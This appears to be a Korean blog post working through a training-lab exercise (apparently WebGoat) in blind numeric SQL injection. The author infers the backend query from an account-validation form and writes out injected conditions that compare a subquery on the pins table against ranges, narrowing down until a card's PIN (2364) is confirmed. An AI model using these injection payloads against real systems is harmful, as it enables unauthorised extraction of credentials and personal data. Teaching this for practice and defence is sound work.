겉바속촉

[보안] Blind Numeric SQL Injection 본문

IT 일기 (상반기)/네트워크 및 시스템 보안

[보안] Blind Numeric SQL Injection

겉바속촉 2021. 1. 21. 16:41
728x90
반응형

 

 

Blind Numeric SQL Injection

 

 

 

계좌 번호의 유효성을 체크해 주는 서비스 

 

 

 

 

 

 

 

문제 ) The goal is to find the value of the field pin in table pins for the row with the cc_number of 1111222233334444. The field is of type int, which is an integer.

 

pins 테이블에 cc_number 컬럼의 값이 '1111222233334444' 인 pin 컬럼의 값을 찾으시오.

 

 

 

 

사용자 입력

Account Number: 101

 

서버로 전달

attack?Screen=4&menu=1100&account_number=101

 

내부 처리 (추측)

select * from accounts where account_number = 101

→ 쿼리 실행 결과가 있으면 → Account number is valid.

 

select * from accounts where account_number = 999

→ 쿼리 실행 결과가 없으면 → Invalid account number.

 

 

 

 

그럼 거꾸로 내부처리부터 생각하기!!!

 

sql먼저 생각해보면 되겠쮸??

 

 

그렇다면....

select * from accounts where cc_number = '1111222233334444'

라고 하면 되지 않을까요??

 

 

그런데 원하는 데이터가 존재할 때와 존재하지 않을 때 나오는 결과값이 다르다는 것을 알고있습니다:)

두 sql문을 조합시키면 어떨까요??

 

 

 

 

 

 


 

 

예를들어 다음과 같이 조합시켰습니다.

 

slect * from accounts where account_number = 101 and (select * from accounts where cc_number = '1111222233334444')

 

and 전까지는 분명히 account number is valid 입니다

and 뒤에 나오는 조건에 따라 저 쿼리문의 결과가 바뀌는 것이죠.

이 점을 이용해주는 것입니다.

 

하지만 문제는 and 뒤에 쿼리가 참, 거짓을 도출시키는 쿼리문이 아닙니다:)

그렇다면 우리는 그렇게 되도록 변형시켜주면 됩니다!!!!

 

 

 

 

 

 

물론 다음과 같이 2364라고 잘 찍어준다면

만사 오케이겠죠;;;

 

 

select * from accounts where account_number = 101 and (select pin from pins where cc_number = '1111222233334444') = 2364

 

 

 

 

 

 

 

하지만 그렇지 못하기 때문에 범위로 주는 것입니다.

 

select * from accounts where account_number = 101 and (select pin from pins where cc_number = '1111222233334444') < 30000

 

 

 

 

 

오우 account number is valid라고 뜹니다.

 

그래서 이번엔는 10000보다 작다고 주었더니 다음과 같이 valid라고 나왔습니다.

 

 

 

 

이런식으로 범위를 좁혀나가면서 찾으면 되겠습니다.

거의 up and down 게임이쥬??......ㅎㅎㅎㅎㅎ

 

 

그래서 결론은 2364가 답이됩니다!!!

 

 

 

 

select * from accounts where account_number = 101 and (select pin from pins where cc_number = '1111222233334444') = 2364

 

⇒ Account number is valid. 

⇒ 찾고자 하는 pin 값은 2364가 맞다.

 

 

 

 

 

728x90
반응형